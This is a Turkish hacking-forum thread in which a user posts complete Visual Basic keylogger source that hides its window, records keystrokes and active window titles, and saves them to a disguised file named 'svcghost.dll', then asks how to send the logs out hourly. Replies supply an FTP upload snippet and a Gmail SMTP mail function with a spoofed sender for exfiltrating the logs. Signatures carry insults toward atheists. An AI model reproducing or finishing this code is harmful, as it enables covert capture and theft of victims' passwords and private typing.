Keylogerin Loglarını Nasıl Ftp Ye Yonlendirebilirim

11/Oca/14 22:04

Kısayol

Şikayet

Özel Mesaj

chkarito

Kayıt Tarihi: 18/Aralık/2013

slm arkadaşlar win7 de mail sorunu yaşadığım için logları ftpye yonlendirmeye karar verdim ama bir yerde takıldım yardım ederseniz sevinirim
60 dk da 1 yuklemesini ve her yüklediğinin kalmasıınısı istiyorum kodlarıda paylaşacağım

3 adet timer bulunmakta bunların intervalı sırasıyla 5,1000,6000

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long

Private LastWindow As String
Private LastHandle As Long
Private dKey(255) As Long
Private Const VK_SHIFT = &H10
Private Const VK_CTRL = &H11
Private Const VK_ALT = &H12
Private Const VK_CAPITAL = &H14
Private ChangeChr(255) As String
Private AltDown As Boolean

Private Sub Command1_Click()
Form1.Visible = False
Me.Hide

End Sub

Private Sub Form_Load()

On Error Resume Next

ChangeChr(33) = "[PageUp]"
ChangeChr(34) = "[PageDown]"
ChangeChr(35) = "[End]"
ChangeChr(36) = "[Home]"

ChangeChr(45) = "[Insert]"
ChangeChr(46) = "[Delete]"

ChangeChr(48) = "="
ChangeChr(49) = "!"
ChangeChr(50) = "'"
ChangeChr(51) = "^"
ChangeChr(52) = "+"
ChangeChr(53) = "%"
ChangeChr(54) = "&"
ChangeChr(55) = "/"
ChangeChr(56) = "("
ChangeChr(57) = ")"

ChangeChr(186) = "ş"
ChangeChr(187) = "="
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "ö"

ChangeChr(219) = "ğ"
ChangeChr(220) = "ç"
ChangeChr(221) = "ü"
ChangeChr(222) = "i"

ChangeChr(86) = "Ş"
ChangeChr(87) = "+"
ChangeChr(88) = ";"
ChangeChr(89) = "_"
ChangeChr(90) = ":"
ChangeChr(91) = "?"

ChangeChr(119) = "Ğ"
ChangeChr(120) = "Ç"
ChangeChr(121) = "Ü"
ChangeChr(122) = "İ"

ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"

ChangeChr(192) = """"
ChangeChr(92) = "é"
End Sub

Function TypeWindow()
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String

Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1

WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)

If WindowText <> LastWindow Then
If Text1 <> "" Then Text1 = Text1 & vbCrLf & vbCrLf
Text1 = Text1 & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf
LastWindow = WindowText
End If
End Function

Private Sub Picture1_Click()

End Sub

Private Sub Timer1_Timer()

'when alt is up
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & ""
End If

'a-z A-Z
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & UCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & LCase(Chr(i))
Exit Sub
End If
End If

End If
Next

'1234567890)(*&^%$#@!
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i)
Exit Sub
Else
Text1 = Text1 & Chr(i)
Exit Sub
End If

End If
Next

';=,-./
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If

End If
Next

'[\]'
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If

End If
Next

'num pad
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
AltDown = True
Text1 = Text1 & ""
Else
If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & ""
End If
End If

Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
Next

'for space
If GetAsyncKeyState(32) = -32767 Then
TypeWindow
Text1 = Text1 & " "
End If

'for enter
If GetAsyncKeyState(13) = -32767 Then
TypeWindow
Text1 = Text1 & vbCrLf
End If

'for backspace
If GetAsyncKeyState(8) = -32767 Then
TypeWindow
Text1 = Text1 & " "
End If

'for left arrow
If GetAsyncKeyState(37) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If

'for up arrow
If GetAsyncKeyState(38) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If

'for right arrow
If GetAsyncKeyState(39) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If

'for down arrow
If GetAsyncKeyState(40) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If

'tab
If GetAsyncKeyState(9) = -32767 Then
TypeWindow
Text1 = Text1 & " [Tab] "
End If

'escape
If GetAsyncKeyState(27) = -32767 Then
TypeWindow
Text1 = Text1 & " [Esc] "
End If

'insert, delete
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next

'page up, page down, end, home
For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next

'left click
If GetAsyncKeyState(1) = -32767 Then
If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then
Text1 = Text1 & " "
End If
End If

End Sub

Private Sub Timer2_Timer()
On Error Resume Next

Text2.Text = "c:\svcghost.dll"
Open Text2.Text For Output As #1
Print #1, Text1.Text;
Close #1
End Sub

Private Sub Timer3_Timer()
Label1.Caption = Label1.Caption + 1

If Label1.Caption = "6000" Then

End Sub

Private Sub WebBrowser1_StatusTextChange(ByVal Text As String)

End Sub

Önce solucan olarak doğup sonra balık olup balıktan maymuna (nasıl bir geçişise(bunun bilimde bile yeri yok mk)) hoooopppp vucuden insana dönüşmüş ama aklı fikri hala hayvan olan ateistlerle uğraşıyoz...Hey Allahım ya...Sen nelere kadirsin o hayvanları toplayıp yeni bir hayvan HALK ediyorsun..

Alıntı yap

11/Oca/14 22:07

Kısayol

Şikayet

Özel Mesaj

interfector

Kayıt Tarihi: 14/Haziran/2011

Hacı böyle uzun kodları gözünüzü sevim pastebine atın link verin sonra :D

Aldanma insanların samimiyetine, menfaatleri için gelirler vecde, vaad etmeseydi allah cenneti, ona bile etmezlerdi secde..

Alıntı yap

12/Oca/14 01:10

Kısayol

Şikayet

Özel Mesaj

chkarito

Kayıt Tarihi: 18/Aralık/2013

interfector bunu yazdı

Hacı böyle uzun kodları gözünüzü sevim pastebine atın link verin sonra :D

Önce solucan olarak doğup sonra balık olup balıktan maymuna (nasıl bir geçişise(bunun bilimde bile yeri yok mk)) hoooopppp vucuden insana dönüşmüş ama aklı fikri hala hayvan olan ateistlerle uğraşıyoz...Hey Allahım ya...Sen nelere kadirsin o hayvanları toplayıp yeni bir hayvan HALK ediyorsun..

Alıntı yap

12/Oca/14 02:14

Kısayol

Şikayet

Özel Mesaj

baristbt

Kayıt Tarihi: 20/Nisan/2011

abi yıl olmuş 2014 , ftp'ye log mu atılır ?

masaüstüne ad soyad adres yazan bi .txt bırak sen

http://www.leyladansonra.com/

Alıntı yap

12/Oca/14 13:42

Kısayol

Şikayet

Özel Mesaj

chkarito

Kayıt Tarihi: 18/Aralık/2013

baristbt bunu yazdı

abi yıl olmuş 2014 , ftp'ye log mu atılır ?

masaüstüne ad soyad adres yazan bi .txt bırak sen

ya abicim svcghost.dll diye kaydedioo ama bunu mail e yolluyamio win7de varsa cozumu soyle o nedenle ftpye atayım dedim belki oyle çalışır ama onu nasıl yapacam bilmiyorum kodlarıda konu acınca milet kodları istiyo istemesinler diye direk verdimmm

Önce solucan olarak doğup sonra balık olup balıktan maymuna (nasıl bir geçişise(bunun bilimde bile yeri yok mk)) hoooopppp vucuden insana dönüşmüş ama aklı fikri hala hayvan olan ateistlerle uğraşıyoz...Hey Allahım ya...Sen nelere kadirsin o hayvanları toplayıp yeni bir hayvan HALK ediyorsun..

Alıntı yap

12/Oca/14 14:03

Kısayol

Şikayet

Özel Mesaj

chkarito

Kayıt Tarihi: 18/Aralık/2013

interfector bunu yazdı

Hacı böyle uzun kodları gözünüzü sevim pastebine atın link verin sonra :D

hocam şu kodu buldum ama nasıl yapacağım bilmiyorum benim istediğim saate bir upload etmesi ve hepsinin saklanması

Form load'a şu kodu ekle;

PHP- Kodu:

  Inet1.AccessType = icUseDefault 
Inet1.Protocol = icFTP 
Inet1.RemoteHost =  "ftp.domain.com" 
Inet1.RemotePort = "21" 
Inet1.Password = "ftp pas" 
Inet1.UserName = "ftp id" 
Inet1.RequestTimeout = "60"

Command1'e şunu ekle;

PHP- Kodu:

  Form1.Inet1.Execute , "put c:\resim.jpg resim.jpg"

Bu kodlarla command1'e bastığında ftp ana dizine resim.jpg yi upload eder.

Saygılar.

Önce solucan olarak doğup sonra balık olup balıktan maymuna (nasıl bir geçişise(bunun bilimde bile yeri yok mk)) hoooopppp vucuden insana dönüşmüş ama aklı fikri hala hayvan olan ateistlerle uğraşıyoz...Hey Allahım ya...Sen nelere kadirsin o hayvanları toplayıp yeni bir hayvan HALK ediyorsun..

Alıntı yap

12/Oca/14 15:12

Kısayol

Şikayet

Özel Mesaj

karakutu

Kayıt Tarihi: 30/Ağustos/2005

PHP ile post et db oluştur kafan raaat etsin

Mevzu derin | Papikolas Planet

Alıntı yap

12/Oca/14 19:15

Kısayol

Şikayet

Özel Mesaj

ustura

Banlanmış Üye

Kayıt Tarihi: 29/Ağustos/2005

Public Function mailgönder() As Boolean
On Error GoTo hatayagit
GetComputername = Environ$("ComputerName")
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = gmailadresi
Flds.Item(schema & "sendpassword") = gmailsifresi
Flds.Item(schema & "smtpusessl") = 1
Flds.Update
With iMsg
.To = alıcıadress
.From = """Airplane R&D Database. R&D Staff Entry.""  <me@noserver.com>"
.Subject = Environ$("ComputerName")
.HTMLbOdy = "Bu Bir Test Mailidir "
.Organization = "Mail Organtion"
'.AddAttachment c
'.AddAttachment a
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .send
End With
mailgönder = True
Exit Function
hatayagit:
mailgönder = False

End Function

chkarito bunu yazdı

baristbt bunu yazdı

abi yıl olmuş 2014 , ftp'ye log mu atılır ?

masaüstüne ad soyad adres yazan bi .txt bırak sen

ya abicim svcghost.dll diye kaydedioo ama bunu mail e yolluyamio win7de varsa cozumu soyle o nedenle ftpye atayım dedim belki oyle çalışır ama onu nasıl yapacam bilmiyorum kodlarıda konu acınca milet kodları istiyo istemesinler diye direk verdimmm

bunu kullan

ustura tarafından 12/Oca/14 19:17 tarihinde düzenlenmiştir

itsin oglum sen adam degilsin

Alıntı yap

12/Oca/14 19:20

Kısayol

Şikayet

Özel Mesaj

chkarito

Kayıt Tarihi: 18/Aralık/2013

ustura bunu yazdı

Public Function mailgönder() As Boolean
On Error GoTo hatayagit
GetComputername = Environ$("ComputerName")
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = gmailadresi
Flds.Item(schema & "sendpassword") = gmailsifresi
Flds.Item(schema & "smtpusessl") = 1
Flds.Update
With iMsg
.To = alıcıadress
.From = """Airplane R&D Database. R&D Staff Entry.""  <me@noserver.com>"
.Subject = Environ$("ComputerName")
.HTMLbOdy = "Bu Bir Test Mailidir "
.Organization = "Mail Organtion"
'.AddAttachment c
'.AddAttachment a
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .send
End With
mailgönder = True
Exit Function
hatayagit:
mailgönder = False

End Function

chkarito bunu yazdı

baristbt bunu yazdı

abi yıl olmuş 2014 , ftp'ye log mu atılır ?

masaüstüne ad soyad adres yazan bi .txt bırak sen

ya abicim svcghost.dll diye kaydedioo ama bunu mail e yolluyamio win7de varsa cozumu soyle o nedenle ftpye atayım dedim belki oyle çalışır ama onu nasıl yapacam bilmiyorum kodlarıda konu acınca milet kodları istiyo istemesinler diye direk verdimmm

bunu kullan

kardeşim teşekkürlerde zaten ben bunu daha önce timer3 yazmıstım olmamıştı şimdi inşallah olur ben 60dk da bir atmasını istiyorum onun için ne yapmalıyım labelden mi saydırmalıyım bide bu olmazsa dosyatc de uyeliğim var oraya upload kodu lazım

Önce solucan olarak doğup sonra balık olup balıktan maymuna (nasıl bir geçişise(bunun bilimde bile yeri yok mk)) hoooopppp vucuden insana dönüşmüş ama aklı fikri hala hayvan olan ateistlerle uğraşıyoz...Hey Allahım ya...Sen nelere kadirsin o hayvanları toplayıp yeni bir hayvan HALK ediyorsun..

Alıntı yap